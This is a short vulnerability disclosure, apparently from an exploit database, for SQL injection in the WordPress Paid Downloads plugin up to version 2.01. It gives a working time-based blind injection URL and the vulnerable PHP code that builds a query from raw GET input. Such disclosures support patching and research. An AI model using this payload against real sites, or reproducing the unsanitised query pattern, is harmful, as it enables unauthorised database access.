WordPress Paid Downloads plugin <= 2.01 SQL Injection Vulnerability

# Exploit Title: WordPress Paid Downloads plugin <= 2.01 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/paid-downloads.2.01.zip
# Version: 2.01 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/paid-downloads/download.php?download_key=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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$download_key = $_GET["download_key"];
$sql = "SELECT * FROM ".$wpdb->prefix."pd_downloadlinks WHERE download_key = '".$download_key."'";
$link_details = $wpdb->get_row($sql, ARRAY_A);